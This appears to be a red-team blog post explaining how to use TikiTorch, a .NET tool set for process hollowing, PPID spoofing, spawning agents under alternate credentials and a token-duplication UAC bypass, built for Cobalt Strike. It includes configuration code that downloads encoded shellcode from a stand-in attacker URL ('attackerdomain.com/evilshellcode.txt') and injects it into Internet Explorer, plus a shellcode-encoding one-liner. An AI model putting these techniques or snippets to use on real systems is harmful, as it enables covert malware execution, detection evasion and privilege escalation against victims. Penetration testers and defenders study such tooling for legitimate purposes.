When TikiTorch was first released in February, it consisted of a single .NET assembly. Almost exactly a month later, I commited an update that increased that to four assemblies.

This blog post will cover what these assemblies are and how to use them.

As the README explains briefly, the four assemblies are:

• TikiLoader
• TikiSpawn
• TikiSpawnAs
• TikiSpawnAsAdmin

TikiLoader

This is a class library that contains the process hollowing code that TikiSpawn, TikiSpawnAs and TikiSpawnAsAdmin use as a reference. The obvious advantage for doing that, is that we don’t have to duplicate the same code across the three projects. The downside is that we need to compile them with something like Costura.Fody to have a single executable that we can use with Cobalt Strike’s execute-assembly function.

As a user, you don’t need to touch TikiLoader unless you want to change the core process creation and hollowing functionality.

TikiSpawn

TikiSpawn is essentially what the original “TikiTorch” project was - a class library that could be compiled to a DLL and delivered to bootstrap an agent on a host. It was designed as a DLL so that it was compatible with DotNetToJScript, allowing you to run payloads via a variety of LOLBINS.

The easiest way to get started with TikiSpawn is to add your inputs to the constructor.

public TikiSpawn()
{
	Flame(@"", @"");
}

The first argument should be the binary you want to start, the second should be a URL where your Gzip’d and base64 encoded shellcode lives. To compress your shellcode, use the included Get-CompressedShellcode.ps1 on Windows, or cat shellcode.bin | gzip -c -f | base64 on Linux.

TikiSpawn will download the shellcode over HTTP(S) using a proxy-aware WebClient class.

This should look something like:

public TikiSpawn()
{
	Flame(@"C:\Program Files\Internet Explorer\iexplore.exe", @"https://attackerdomain.com/evilshellcode.txt");
}

TikiSpawn can also spoof the PPID of your target binary, using lpAttributeList. In the Flame function, there is the line:

int ppid = FindProcessPid("explorer");

Since I’m spawning Internet Explorer, setting Explorer as my PID seems logical. But you can change this to suit whatever binary you choose to use.

Once compiled, you will have TikiSpawn.dll.

After delivery, we can confirm that our agent is indeed running inside Internet Explorer and that it’s PPID’d to Explorer.

TikiLoader will also use RW and RX memory regions, rather than RWX.

TikiSpawnAs

This is the equivilent to spawnas and allows you to run an agent with alternate creds. It’s designed to be run via Cobalt Strike’s execute-assembly, although you could also drop it to disk. The current implementation requires that the shellcode be hardcoded into the binary (but does not need to be Gzip’d).

byte[] shellcode = Convert.FromBase64String(@"");

Note that the process spawned via TikiSpawnAs has no PPID.

TikiSpawnAsAdmin

This uses the Token Duplication UAC bypass to spawn an agent (as the current user) in high integrity, akin to Cobalt Strike’s elevate uac-token-duplication command. For configurations where “Always Notify” is enabled, you can supply the existing PID of a high integrity process; otherwise it will spawn wusa.exe and impersonate its token.

As with TikiSpawnAs, the spawned process will have no PPID.